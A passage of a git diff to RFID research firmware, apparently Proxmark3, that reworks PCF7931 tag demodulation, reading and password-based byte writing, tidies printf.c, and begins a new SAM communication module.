g_GraphTraceLen; i++) { + for (sample = 1 ; sample < g_GraphTraceLen - 4; sample++) { + // condition is searching for the next edge, in the expected diretion. + //todo: without flouz + dest[sample] = (uint8_t)(dest[sample - 1] * IIR_CONST1 + dest[sample] * IIR_CONST2); // apply IIR filter - if ((dest[i - 1] > dest[i] && dir == 1 && dest[i] > lmax) || (dest[i - 1] < dest[i] && dir == 0 && dest[i] < lmin)) { - lc = i - lastval; - lastval = i; + if (((dest[sample] + THRESHOLD) < dest[sample - 1] && expectedNextEdge == FALLING) || + ((dest[sample] - THRESHOLD) > dest[sample - 1] && expectedNextEdge == RISING)) { + //okay, next falling/rising edge found - // Switch depending on lc length: - // Tolerance is 1/8 of clock rate (arbitrary) - if (ABS(lc - clock / 4) < tolerance) { - // 16T0 - if ((i - pmc) == lc) { // 16T0 was previous one + expectedNextEdge = (expectedNextEdge == FALLING) ? RISING : FALLING; //toggle the next expected edge + samplePosCurrentEdge = sample; + beforeLastClockDuration = lastClockDuration; // save the previous clock duration for PMC recognition + lastClockDuration = samplePosCurrentEdge - samplePosLastEdge; + samplePosLastEdge = sample; + + // Dbprintf("%d, %d, edge found, len: %d, nextEdge: %d", sample, dest[sample], lastClockDuration*DECIMATION, expectedNextEdge); + + // Switch depending on lastClockDuration length: + // 16T0 + if (ABS(lastClockDuration - _16T0) < TOLERANCE) { + + // if the clock before also was 16T0, it is a PMC! + if (ABS(beforeLastClockDuration - _16T0) < TOLERANCE) { // It's a PMC - i += (128 + 127 + 16 + 32 + 33 + 16) - 1; - lastval = i; - pmc = 0; + Dbprintf(_GREEN_("PMC 16T0 FOUND:") " bitPos: %d, sample: %d", bitPos, sample); + sample += PMC_16T0_LEN; // move to the sample after PMC + + expectedNextEdge = FALLING; + samplePosLastEdge = sample; block_done = 1; - } else { - pmc = i; } - } else if (ABS(lc - clock / 2) < tolerance) { + // 32TO - if ((i - pmc) == lc) { // 16T0 was previous one + } else if (ABS(lastClockDuration - _32T0) < TOLERANCE) { + // if the clock before also was 16T0, it is a PMC! + if (ABS(beforeLastClockDuration - _16T0) < TOLERANCE) { // It's a PMC ! - i += (128 + 127 + 16 + 32 + 33) - 1; - lastval = i; - pmc = 0; + Dbprintf(_GREEN_("PMC 32T0 FOUND:") " bitPos: %d, sample: %d", bitPos, sample); + + sample += PMC_32T0_LEN; // move to the sample after PMC + + expectedNextEdge = FALLING; + samplePosLastEdge = sample; block_done = 1; + + // if no pmc, then its a normal bit. + // Check if its the second time, the edge changed if yes, then the bit is 0 } else if (half_switch == 1) { - bits[bitidx++] = 0; + bits[bitPos] = 0; + // reset the edge counter to 0 half_switch = 0; + bitPos++; + + // if it is the first time the edge changed. No bit value will be set here, bit if the + // edge changes again, it will be. see case above. } else half_switch++; - } else if (ABS(lc - clock) < tolerance) { - // 64TO - bits[bitidx++] = 1; - } else { + + // 64T0 + } else if (ABS(lastClockDuration - _64T0) < TOLERANCE) { + // this means, bit here is 1 + bits[bitPos] = 1; + bitPos++; + // Error - if (++warnings > 10) { + } else { + // some Error. maybe check tolerances. + // likeley to happen in the first block. - if (g_dbglevel >= DBG_EXTENDED) { - Dbprintf("Error: too many detection errors, aborting"); - } + // In an Ideal world, this can be enabled. However, if only bad antenna field, this print will flood the output + // and one might miss some "good" frames. + //Dbprintf(_RED_("ERROR in demodulation") " Length last clock: %d - check threshold/tolerance/signal. Toss block", lastClockDuration*DECIMATION); - return 0; - } + // Toss this block. + block_done = 1; } if (block_done == 1) { - if (bitidx == 128) { + // Dbprintf(_YELLOW_("Block Done") " bitPos: %d, sample: %d", bitPos, sample); + + // check if it is a complete block. If bitpos <128, it means that we did not receive + // a complete block. E.g. at the first start of a transmission. + // only save if a complete block is being received. + if (bitPos == 128) { for (j = 0; j < 16; ++j) { blocks[num_blocks][j] = 128 * bits[j * 8 + 7] + @@ -141,24 +187,25 @@ size_t DemodPCF7931(uint8_t **outBlocks, bool ledcontrol) { } num_blocks++; } - bitidx = 0; + // now start over for the next block / first complete block. + bitPos = 0; block_done = 0; half_switch = 0; } - if (i < g_GraphTraceLen) { - dir = (dest[i - 1] > dest[i]) ? 0 : 1; - } + } else { + // Dbprintf("%d, %d", sample, dest[sample]); } - if (bitidx == 255) { - bitidx = 0; + // one block only holds 16byte (=128 bit) and then comes the PMC. so if more bit are found than 129, there must be an issue and PMC has not been identfied... + // TODO: not sure what to do in such case... + if (bitPos >= 129) { + Dbprintf(_RED_("PMC should have been found...") " bitPos: %d, sample: %d", bitPos, sample); + bitPos = 0; } - if (num_blocks == 4) { - break; - } } + memcpy(outBlocks, blocks, 16 * num_blocks); return num_blocks; } @@ -204,25 +251,32 @@ bool IsBlock1PCF7931(const uint8_t *block) { } void ReadPCF7931(bool ledcontrol) { + + uint8_t maxBlocks = 8; // readable blocks int found_blocks = 0; // successfully read blocks - int max_blocks = 8; // readable blocks - uint8_t memory_blocks[8][17]; // PCF content - uint8_t single_blocks[8][17]; // PFC blocks with unknown position + + // TODO: Why 17 byte len? 16 should be good. + uint8_t memory_blocks[maxBlocks][17]; // PCF content + uint8_t single_blocks[maxBlocks][17]; // PFC blocks with unknown position + uint8_t tmp_blocks[4][16]; // temporary read buffer + int single_blocks_cnt = 0; size_t n; // transmitted blocks - uint8_t tmp_blocks[4][16]; // temporary read buffer - uint8_t found_0_1 = 0; // flag: blocks 0 and 1 were found + //uint8_t found_0_1 = 0; // flag: blocks 0 and 1 were found int errors = 0; // error counter int tries = 0; // tries counter + // reuse lenghts and consts to properly clear memset(memory_blocks, 0, 8 * 17 * sizeof(uint8_t)); memset(single_blocks, 0, 8 * 17 * sizeof(uint8_t)); - int i = 0, j = 0; + int i = 0; + //j = 0; do { + Dbprintf("ReadPCF7931() -- Reading Loop =========="); i = 0; memset(tmp_blocks, 0, 4 * 16 * sizeof(uint8_t)); @@ -232,15 +286,13 @@ void ReadPCF7931(bool ledcontrol) { // exit if no block is received if (errors >= 10 && found_blocks == 0 && single_blocks_cnt == 0) { - - if (g_dbglevel >= DBG_INFO) - Dbprintf("[!!] Error, no tag or bad tag"); - + Dbprintf("[!!] Error, no tag or bad tag"); return; } - // exit if too many errors during reading - if (tries > 50 && (2 * errors > tries)) { + // exit if too many tries without finding the first block + if (tries > 10) { + Dbprintf("End after 10 tries"); if (g_dbglevel >= DBG_INFO) { Dbprintf("[!!] Error reading the tag, only partial content"); } @@ -248,93 +300,98 @@ void ReadPCF7931(bool ledcontrol) { goto end; } - // our logic breaks if we don't get at least two blocks - if (n < 2) { - // skip if all 0s block or no blocks - if (n == 0 || !memcmp(tmp_blocks[0], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16)) - continue; + // This part was not working properly. + // So currently the blocks are not being sorted, but at least printed. - // add block to single blocks list - if (single_blocks_cnt < max_blocks) { - for (i = 0; i < single_blocks_cnt; ++i) { - if (!memcmp(single_blocks[i], tmp_blocks[0], 16)) { - j = 1; - break; - } - } - if (j != 1) { - memcpy(single_blocks[single_blocks_cnt], tmp_blocks[0], 16); - print_result("got single block", single_blocks[single_blocks_cnt], 16); - single_blocks_cnt++; - } - j = 0; - } - ++tries; - continue; - } + // // our logic breaks if we don't get at least two blocks + // if (n < 2) { + // // skip if all 0s block or no blocks + // if (n == 0 || !memcmp(tmp_blocks[0], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16)) + // continue; - if (g_dbglevel >= DBG_EXTENDED) - Dbprintf("(dbg) got %d blocks (%d/%d found) (%d tries, %d errors)", n, found_blocks, (max_blocks == 0 ? found_blocks : max_blocks), tries, errors); + // // add block to single blocks list + // if (single_blocks_cnt < maxBlocks) { + // for (i = 0; i < single_blocks_cnt; ++i) { + // if (!memcmp(single_blocks[i], tmp_blocks[0], 16)) { + // j = 1; + // break; + // } + // } + // if (j != 1) { + // memcpy(single_blocks[single_blocks_cnt], tmp_blocks[0], 16); + // print_result("got single block", single_blocks[single_blocks_cnt], 16); + // single_blocks_cnt++; + // } + // j = 0; + // } + // ++tries; + // continue; + // } + // Dbprintf("(dbg) got %d blocks (%d/%d found) (%d tries, %d errors)", n, found_blocks, (maxBlocks == 0 ? found_blocks : maxBlocks), tries, errors); + // if (g_dbglevel >= DBG_EXTENDED) + // Dbprintf("(dbg) got %d blocks (%d/%d found) (%d tries, %d errors)", n, found_blocks, (maxBlocks == 0 ? found_blocks : maxBlocks), tries, errors); + + // print blocks that have been found for (i = 0; i < n; ++i) { - print_result("got consecutive blocks", tmp_blocks[i], 16); + print_result("Block found: ", tmp_blocks[i], 16); } - i = 0; - if (!found_0_1) { - while (i < n - 1) { - if (IsBlock0PCF7931(tmp_blocks[i]) && IsBlock1PCF7931(tmp_blocks[i + 1])) { - found_0_1 = 1; - memcpy(memory_blocks[0], tmp_blocks[i], 16); - memcpy(memory_blocks[1], tmp_blocks[i + 1], 16); - memory_blocks[0][ALLOC] = memory_blocks[1][ALLOC] = 1; - // block 1 tells how many blocks are going to be sent - max_blocks = MAX((memory_blocks[1][14] & 0x7f), memory_blocks[1][15]) + 1; - found_blocks = 2; + // i = 0; + // if (!found_0_1) { + // while (i < n - 1) { + // if (IsBlock0PCF7931(tmp_blocks[i]) && IsBlock1PCF7931(tmp_blocks[i + 1])) { + // found_0_1 = 1; + // memcpy(memory_blocks[0], tmp_blocks[i], 16); + // memcpy(memory_blocks[1], tmp_blocks[i + 1], 16); + // memory_blocks[0][ALLOC] = memory_blocks[1][ALLOC] = 1; + // // block 1 tells how many blocks are going to be sent + // maxBlocks = MAX((memory_blocks[1][14] & 0x7f), memory_blocks[1][15]) + 1; + // found_blocks = 2; - Dbprintf("Found blocks 0 and 1. PCF is transmitting %d blocks.", max_blocks); + // Dbprintf("Found blocks 0 and 1. PCF is transmitting %d blocks.", maxBlocks); - // handle the following blocks - for (j = i + 2; j < n; ++j) { - memcpy(memory_blocks[found_blocks], tmp_blocks[j], 16); - memory_blocks[found_blocks][ALLOC] = 1; - ++found_blocks; - } - break; - } - ++i; - } - } else { - // Trying to re-order blocks - // Look for identical block in memory blocks - while (i < n - 1) { - // skip all zeroes blocks - if (memcmp(tmp_blocks[i], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16)) { - for (j = 1; j < max_blocks - 1; ++j) { - if (!memcmp(tmp_blocks[i], memory_blocks[j], 16) && !memory_blocks[j + 1][ALLOC]) { - memcpy(memory_blocks[j + 1], tmp_blocks[i + 1], 16); - memory_blocks[j + 1][ALLOC] = 1; - if (++found_blocks >= max_blocks) goto end; - } - } - } - if (memcmp(tmp_blocks[i + 1], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16)) { - for (j = 0; j < max_blocks; ++j) { - if (!memcmp(tmp_blocks[i + 1], memory_blocks[j], 16) && !memory_blocks[(j == 0 ? max_blocks : j) - 1][ALLOC]) { - if (j == 0) { - memcpy(memory_blocks[max_blocks - 1], tmp_blocks[i], 16); - memory_blocks[max_blocks - 1][ALLOC] = 1; - } else { - memcpy(memory_blocks[j - 1], tmp_blocks[i], 16); - memory_blocks[j - 1][ALLOC] = 1; - } - if (++found_blocks >= max_blocks) goto end; - } - } - } - ++i; - } - } + // // handle the following blocks + // for (j = i + 2; j < n; ++j) { + // memcpy(memory_blocks[found_blocks], tmp_blocks[j], 16); + // memory_blocks[found_blocks][ALLOC] = 1; + // ++found_blocks; + // } + // break; + // } + // ++i; + // } + // } else { + // // Trying to re-order blocks + // // Look for identical block in memory blocks + // while (i < n - 1) { + // // skip all zeroes blocks + // if (memcmp(tmp_blocks[i], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16)) { + // for (j = 1; j < maxBlocks - 1; ++j) { + // if (!memcmp(tmp_blocks[i], memory_blocks[j], 16) && !memory_blocks[j + 1][ALLOC]) { + // memcpy(memory_blocks[j + 1], tmp_blocks[i + 1], 16); + // memory_blocks[j + 1][ALLOC] = 1; + // if (++found_blocks >= maxBlocks) goto end; + // } + // } + // } + // if (memcmp(tmp_blocks[i + 1], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16)) { + // for (j = 0; j < maxBlocks; ++j) { + // if (!memcmp(tmp_blocks[i + 1], memory_blocks[j], 16) && !memory_blocks[(j == 0 ? maxBlocks : j) - 1][ALLOC]) { + // if (j == 0) { + // memcpy(memory_blocks[maxBlocks - 1], tmp_blocks[i], 16); + // memory_blocks[maxBlocks - 1][ALLOC] = 1; + // } else { + // memcpy(memory_blocks[j - 1], tmp_blocks[i], 16); + // memory_blocks[j - 1][ALLOC] = 1; + // } + // if (++found_blocks >= maxBlocks) goto end; + // } + // } + // } + // ++i; + // } + // } ++tries; if (BUTTON_PRESS()) { if (g_dbglevel >= DBG_EXTENDED) @@ -342,62 +399,79 @@ void ReadPCF7931(bool ledcontrol) { goto end; } - } while (found_blocks < max_blocks); + } while (found_blocks < maxBlocks); + end: - Dbprintf("-----------------------------------------"); - Dbprintf("Memory content:"); - Dbprintf("-----------------------------------------"); - for (i = 0; i < max_blocks; ++i) { - if (memory_blocks[i][ALLOC]) - print_result("Block", memory_blocks[i], 16); - else - Dbprintf("", i); - } - Dbprintf("-----------------------------------------"); + /* + Dbprintf("-----------------------------------------"); + Dbprintf("Memory content:"); + Dbprintf("-----------------------------------------"); + for (i = 0; i < maxBlocks; ++i) { + if (memory_blocks[i][ALLOC]) + print_result("Block", memory_blocks[i], 16); + else + Dbprintf("", i); + } + Dbprintf("-----------------------------------------"); - if (found_blocks < max_blocks) { - Dbprintf("-----------------------------------------"); - Dbprintf("Blocks with unknown position:"); - Dbprintf("-----------------------------------------"); - for (i = 0; i < single_blocks_cnt; ++i) - print_result("Block", single_blocks[i], 16); + if (found_blocks < maxBlocks) { + Dbprintf("-----------------------------------------"); + Dbprintf("Blocks with unknown position:"); + Dbprintf("-----------------------------------------"); + for (i = 0; i < single_blocks_cnt; ++i) + print_result("Block", single_blocks[i], 16); + + Dbprintf("-----------------------------------------"); + } + */ - Dbprintf("-----------------------------------------"); - } reply_mix(CMD_ACK, 0, 0, 0, 0, 0); } -static void RealWritePCF7931(uint8_t *pass, uint16_t init_delay, int32_t l, int32_t p, uint8_t address, uint8_t byte, uint8_t data, bool ledcontrol) { +static void RealWritePCF7931( + uint8_t *pass, + uint16_t init_delay, + int8_t offsetPulseWidth, int8_t offsetPulsePosition, + uint8_t address, uint8_t byte, uint8_t data, + bool ledcontrol) { + uint32_t tab[1024] = {0}; // data times frame uint32_t u = 0; uint8_t parity = 0; - bool comp = 0; //BUILD OF THE DATA FRAME //alimentation of the tag (time for initializing) + // ToDo: This could be optimized/automated. e.g. Read one cycle, find PMC and calculate time. + // I dont understand, why 8192/2 AddPatternPCF7931(init_delay, 0, 8192 / 2 * T0_PCF, tab); + + // why "... + 70"? Why not "... + x * T0"? + // I think he just added 70 to be somewhere in The PMC window, which is 32T0 (=32*8 = 256) + // 3*T0 = PMC width + // 29*T0 = rest of PMC window (total 32T0 = 3+29) + // after the PMC, it directly goes to the password indication bit. AddPatternPCF7931(8192 / 2 * T0_PCF + 319 * T0_PCF + 70, 3 * T0_PCF, 29 * T0_PCF, tab); //password indication bit - AddBitPCF7931(1, tab, l, p); + AddBitPCF7931(1, tab, offsetPulseWidth, offsetPulsePosition); //password (on 56 bits) - AddBytePCF7931(pass[0], tab, l, p); - AddBytePCF7931(pass[1], tab, l, p); - AddBytePCF7931(pass[2], tab, l, p); - AddBytePCF7931(pass[3], tab, l, p); - AddBytePCF7931(pass[4], tab, l, p); - AddBytePCF7931(pass[5], tab, l, p); - AddBytePCF7931(pass[6], tab, l, p); - //programming mode (0 or 1) - AddBitPCF7931(0, tab, l, p); + AddBytePCF7931(pass[0], tab, offsetPulseWidth, offsetPulsePosition); + AddBytePCF7931(pass[1], tab, offsetPulseWidth, offsetPulsePosition); + AddBytePCF7931(pass[2], tab, offsetPulseWidth, offsetPulsePosition); + AddBytePCF7931(pass[3], tab, offsetPulseWidth, offsetPulsePosition); + AddBytePCF7931(pass[4], tab, offsetPulseWidth, offsetPulsePosition); + AddBytePCF7931(pass[5], tab, offsetPulseWidth, offsetPulsePosition); + AddBytePCF7931(pass[6], tab, offsetPulseWidth, offsetPulsePosition); + //programming mode (0 or 1) -> 0 = byte wise; 1 = block wise programming + AddBitPCF7931(0, tab, offsetPulseWidth, offsetPulsePosition); //block address on 6 bits for (u = 0; u < 6; ++u) { if (address & (1 << u)) { // bit 1 ++parity; - AddBitPCF7931(1, tab, l, p); + AddBitPCF7931(1, tab, offsetPulseWidth, offsetPulsePosition); } else { // bit 0 - AddBitPCF7931(0, tab, l, p); + AddBitPCF7931(0, tab, offsetPulseWidth, offsetPulsePosition); } } @@ -405,56 +479,48 @@ static void RealWritePCF7931(uint8_t *pass, uint16_t init_delay, int32_t l, int3 for (u = 0; u < 4; ++u) { if (byte & (1 << u)) { // bit 1 parity++; - AddBitPCF7931(1, tab, l, p); + AddBitPCF7931(1, tab, offsetPulseWidth, offsetPulsePosition); } else // bit 0 - AddBitPCF7931(0, tab, l, p); + AddBitPCF7931(0, tab, offsetPulseWidth, offsetPulsePosition); } //data on 8 bits for (u = 0; u < 8; u++) { if (data & (1 << u)) { // bit 1 parity++; - AddBitPCF7931(1, tab, l, p); + AddBitPCF7931(1, tab, offsetPulseWidth, offsetPulsePosition); } else //bit 0 - AddBitPCF7931(0, tab, l, p); + AddBitPCF7931(0, tab, offsetPulseWidth, offsetPulsePosition); } //parity bit if ((parity % 2) == 0) - AddBitPCF7931(0, tab, l, p); //even parity + AddBitPCF7931(0, tab, offsetPulseWidth, offsetPulsePosition); //even parity else - AddBitPCF7931(1, tab, l, p);//odd parity + AddBitPCF7931(1, tab, offsetPulseWidth, offsetPulsePosition);//odd parity - //time access memory - AddPatternPCF7931(5120 + 2680, 0, 0, tab); - - //conversion of the scale time - for (u = 0; u < 500; ++u) - tab[u] = (tab[u] * 3) / 2; - - //compensation of the counter reload - while (!comp) { - comp = 1; - for (u = 0; tab[u] != 0; ++u) - if (tab[u] > 0xFFFF) { - tab[u] -= 0xFFFF; - comp = 0; - } - } + // time access memory (640T0) + // Not sure why 335*T0, but should not matter. Since programming should be finished at that point + AddPatternPCF7931((640 + 335)* T0_PCF, 0, 0, tab); SendCmdPCF7931(tab, ledcontrol); } /* Write on a byte of a PCF7931 tag * @param address : address of the block to write - @param byte : address of the byte to write - @param data : data to write + * @param byte : address of the byte to write + * @param data : data to write */ -void WritePCF7931(uint8_t pass1, uint8_t pass2, uint8_t pass3, uint8_t pass4, uint8_t pass5, uint8_t pass6, uint8_t pass7, uint16_t init_delay, int32_t l, int32_t p, uint8_t address, uint8_t byte, uint8_t data, bool ledcontrol) { +void WritePCF7931( + uint8_t pass1, uint8_t pass2, uint8_t pass3, uint8_t pass4, uint8_t pass5, uint8_t pass6, uint8_t pass7, + uint16_t init_delay, + int8_t offsetPulseWidth, int8_t offsetPulsePosition, + uint8_t address, uint8_t byte, uint8_t data, + bool ledcontrol) { if (g_dbglevel >= DBG_INFO) { Dbprintf("Initialization delay : %d us", init_delay); - Dbprintf("Offsets : %d us on the low pulses width, %d us on the low pulses positions", l, p); + Dbprintf("Offsets : %d us on the low pulses width, %d us on the low pulses positions", offsetPulseWidth, offsetPulsePosition); } Dbprintf("Password (LSB first on each byte): %02x %02x %02x %02x %02x %02x %02x", pass1, pass2, pass3, pass4, pass5, pass6, pass7); @@ -464,15 +530,15 @@ void WritePCF7931(uint8_t pass1, uint8_t pass2, uint8_t pass3, uint8_t pass4, ui uint8_t password[7] = {pass1, pass2, pass3, pass4, pass5, pass6, pass7}; - RealWritePCF7931(password, init_delay, l, p, address, byte, data, ledcontrol); + RealWritePCF7931(password, init_delay, offsetPulseWidth, offsetPulsePosition, address, byte, data, ledcontrol); } -/* Send a trame to a PCF7931 tags +/* Send a frame to a PCF7931 tags * @param tab : array of the data frame */ -void SendCmdPCF7931(const uint32_t *tab, bool ledcontrol) { +void SendCmdPCF7931(uint32_t *tab, bool ledcontrol) { uint16_t u = 0, tempo = 0; if (g_dbglevel >= DBG_INFO) { @@ -485,6 +551,20 @@ void SendCmdPCF7931(const uint32_t *tab, bool ledcontrol) { if (ledcontrol) LED_A_ON(); + // rescale the values to match the time of the timer below. + for (u = 0; u < 500; ++u) { + tab[u] = (tab[u] * 3) / 2; + } + + // compensation for the counter overflow + // only one overflow should be possible. + for (u = 0; tab[u] != 0; ++u) + if (tab[u] > 0xFFFF) { + tab[u] -= 0xFFFF; + break; + } + + // steal this pin from the SSP and use it to control the modulation AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT; AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT; @@ -493,7 +573,7 @@ void SendCmdPCF7931(const uint32_t *tab, bool ledcontrol) { AT91C_BASE_PMC->PMC_PCER |= (0x1 << AT91C_ID_TC0); AT91C_BASE_TCB->TCB_BMR = AT91C_TCB_TC0XC0S_NONE | AT91C_TCB_TC1XC1S_TIOA0 | AT91C_TCB_TC2XC2S_NONE; AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; // timer disable - AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK; // clock at 48/32 MHz + AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK; // clock at 48/32 MHz (48Mhz clock, 32 = prescaler (div3)) AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN; // Assert a sync signal. This sets all timers to 0 on next active clock edge @@ -503,19 +583,19 @@ void SendCmdPCF7931(const uint32_t *tab, bool ledcontrol) { for (u = 0; tab[u] != 0; u += 3) { // modulate antenna HIGH(GPIO_SSC_DOUT); - while (tempo != tab[u]) { + while ((uint32_t)tempo < tab[u]) { tempo = AT91C_BASE_TC0->TC_CV; } // stop modulating antenna LOW(GPIO_SSC_DOUT); - while (tempo != tab[u + 1]) { + while ((uint32_t)tempo < tab[u + 1]) { tempo = AT91C_BASE_TC0->TC_CV; } // modulate antenna HIGH(GPIO_SSC_DOUT); - while (tempo != tab[u + 2]) { + while ((uint32_t)tempo < tab[u + 2]) { tempo = AT91C_BASE_TC0->TC_CV; } } @@ -528,32 +608,36 @@ void SendCmdPCF7931(const uint32_t *tab, bool ledcontrol) { } -/* Add a byte for building the data frame of PCF7931 tags +/* Add a byte for building the data frame of PCF7931 tags. + * See Datasheet of PCF7931 diagramm on page 8. This explains pulse widht & positioning + * Normally, no offset should be required. * @param b : byte to add * @param tab : array of the data frame - * @param l : offset on low pulse width - * @param p : offset on low pulse positioning + * @param offsetPulseWidth : offset on low pulse width in µs (default pulse widht is 6T0) + * @param offsetPulsePosition : offset on low pulse positioning in µs */ -bool AddBytePCF7931(uint8_t byte, uint32_t *tab, int32_t l, int32_t p) { +bool AddBytePCF7931(uint8_t byte, uint32_t *tab, int8_t offsetPulseWidth, int8_t offsetPulsePosition) { uint32_t u; for (u = 0; u < 8; ++u) { if (byte & (1 << u)) { //bit is 1 - if (AddBitPCF7931(1, tab, l, p) == 1) return true; + AddBitPCF7931(1, tab, offsetPulseWidth, offsetPulsePosition); } else { //bit is 0 - if (AddBitPCF7931(0, tab, l, p) == 1) return true; + AddBitPCF7931(0, tab, offsetPulseWidth, offsetPulsePosition); } } return false; } -/* Add a bits for building the data frame of PCF7931 tags +/* Add a bits for building the data frame of PCF7931 tags. + * See Datasheet of PCF7931 diagramm on page 8. This explains pulse widht & positioning + * Normally, no offset should be required. * @param b : bit to add * @param tab : array of the data frame - * @param l : offset on low pulse width - * @param p : offset on low pulse positioning + * @param offsetPulseWidth : offset on low pulse width in µs (default pulse widht is 6T0) + * @param offsetPulsePosition : offset on low pulse positioning in µs */ -bool AddBitPCF7931(bool b, uint32_t *tab, int32_t l, int32_t p) { +bool AddBitPCF7931(bool b, uint32_t *tab, int8_t offsetPulseWidth, int8_t offsetPulsePosition) { uint8_t u = 0; //we put the cursor at the last value of the array @@ -561,23 +645,22 @@ bool AddBitPCF7931(bool b, uint32_t *tab, int32_t l, int32_t p) { if (b == 1) { //add a bit 1 if (u == 0) - tab[u] = 34 * T0_PCF + p; + tab[u] = 34 * T0_PCF + offsetPulsePosition; else - tab[u] = 34 * T0_PCF + tab[u - 1] + p; + tab[u] = 34 * T0_PCF + tab[u - 1] + offsetPulsePosition; + + tab[u + 1] = 6 * T0_PCF + tab[u] + offsetPulseWidth; + tab[u + 2] = 88 * T0_PCF + tab[u + 1] - offsetPulseWidth - offsetPulsePosition; - tab[u + 1] = 6 * T0_PCF + tab[u] + l; - tab[u + 2] = 88 * T0_PCF + tab[u + 1] - l - p; - return false; } else { //add a bit 0 - if (u == 0) - tab[u] = 98 * T0_PCF + p; + tab[u] = 98 * T0_PCF + offsetPulsePosition; else - tab[u] = 98 * T0_PCF + tab[u - 1] + p; + tab[u] = 98 * T0_PCF + tab[u - 1] + offsetPulsePosition; + + tab[u + 1] = 6 * T0_PCF + tab[u] + offsetPulseWidth; + tab[u + 2] = 24 * T0_PCF + tab[u + 1] - offsetPulseWidth - offsetPulsePosition; - tab[u + 1] = 6 * T0_PCF + tab[u] + l; - tab[u + 2] = 24 * T0_PCF + tab[u + 1] - l - p; - return false; } return true; } @@ -592,8 +675,8 @@ bool AddPatternPCF7931(uint32_t a, uint32_t b, uint32_t c, uint32_t *tab) { uint32_t u = 0; for (u = 0; tab[u] != 0; u += 3) {} //we put the cursor at the last value of the array - tab[u] = (u == 0) ? a : a + tab[u - 1]; - tab[u + 1] = b + tab[u]; + tab[u] = (u == 0) ? a : a + tab[u - 1]; // if it is the first value of the array, nothing needs to be added. + tab[u + 1] = b + tab[u]; // otherwise always add up the values, because later on it is compared to a counter tab[u + 2] = c + tab[u + 1]; return true; diff --git a/armsrc/pcf7931.h b/armsrc/pcf7931.h index 3be9ea5be..e412a7a66 100644 --- a/armsrc/pcf7931.h +++ b/armsrc/pcf7931.h @@ -18,14 +18,20 @@ #include "common.h" + +typedef enum { + FALLING, + RISING +} EdgeType; + size_t DemodPCF7931(uint8_t **outBlocks, bool ledcontrol); bool IsBlock0PCF7931(uint8_t *block); bool IsBlock1PCF7931(const uint8_t *block); void ReadPCF7931(bool ledcontrol); -void SendCmdPCF7931(const uint32_t *tab, bool ledcontrol); -bool AddBytePCF7931(uint8_t byte, uint32_t *tab, int32_t l, int32_t p); -bool AddBitPCF7931(bool b, uint32_t *tab, int32_t l, int32_t p); +void SendCmdPCF7931(uint32_t *tab, bool ledcontrol); +bool AddBytePCF7931(uint8_t byte, uint32_t *tab, int8_t offsetPulseWidth, int8_t offsetPulsePosition); +bool AddBitPCF7931(bool b, uint32_t *tab, int8_t offsetPulseWidth, int8_t offsetPulsePosition); bool AddPatternPCF7931(uint32_t a, uint32_t b, uint32_t c, uint32_t *tab); -void WritePCF7931(uint8_t pass1, uint8_t pass2, uint8_t pass3, uint8_t pass4, uint8_t pass5, uint8_t pass6, uint8_t pass7, uint16_t init_delay, int32_t l, int32_t p, uint8_t address, uint8_t byte, uint8_t data, bool ledcontrol); +void WritePCF7931(uint8_t pass1, uint8_t pass2, uint8_t pass3, uint8_t pass4, uint8_t pass5, uint8_t pass6, uint8_t pass7, uint16_t init_delay, int8_t offsetPulseWidth, int8_t offsetPulsePosition, uint8_t address, uint8_t byte, uint8_t data, bool ledcontrol); #endif diff --git a/armsrc/printf.c b/armsrc/printf.c index 7c58ffd82..b2fa19151 100644 --- a/armsrc/printf.c +++ b/armsrc/printf.c @@ -104,11 +104,13 @@ kvsprintf(char const *fmt, void *arg, int radix, va_list ap) { num = 0; d = (char *) arg; - if (fmt == NULL) + if (fmt == NULL) { fmt = "(fmt null)\n"; + } - if (radix < 2 || radix > 36) + if (radix < 2 || radix > 36) { radix = 10; + } for (;;) { padc = ' '; diff --git a/armsrc/sam_common.c b/armsrc/sam_common.c new file mode 100644 index 000000000..bfa959bba --- /dev/null +++ b/armsrc/sam_common.c @@ -0,0 +1,515 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// Routines to support MFC <-> SAM communication +//----------------------------------------------------------------------------- + + +#include +#include "sam_common.h" +#include "iclass.h" +#include "proxmark3_arm.h" +#include "BigBuf.h" +#include "commonutil.h" +#include "ticks.h" +#include "dbprint.h" +#include "i2c.h" +#include "iso15693.h" +#include "protocols.h" + + +/** + * @brief Transmits data to and receives data from a HID®'s iCLASS® SE™ Processor. + * + * This function sends a specified number of bytes to the SAM and receives a response. + * + * @param data Pointer to the data to be transmitted. + * @param n Number of bytes to be transmitted. + * @param resp Pointer to the buffer where the response will be stored. + * @param resplen Pointer to the variable where the length of the response will be stored. + * @return Status code indicating success or failure of the operation. + */ +int sam_rxtx(const uint8_t *data, uint16_t n, uint8_t *resp, uint16_t *resplen) { + bool res = I2C_BufferWrite(data, n, I2C_DEVICE_CMD_SEND_T0, I2C_DEVICE_ADDRESS_MAIN); + if (res == false) { + DbpString("failed to send to SIM CARD"); + goto out; + } + + *resplen = ISO7816_MAX_FRAME; + + res = sc_rx_bytes(resp, resplen, SIM_WAIT_DELAY); + if (res == false) { + DbpString("failed to receive from SIM CARD"); + goto 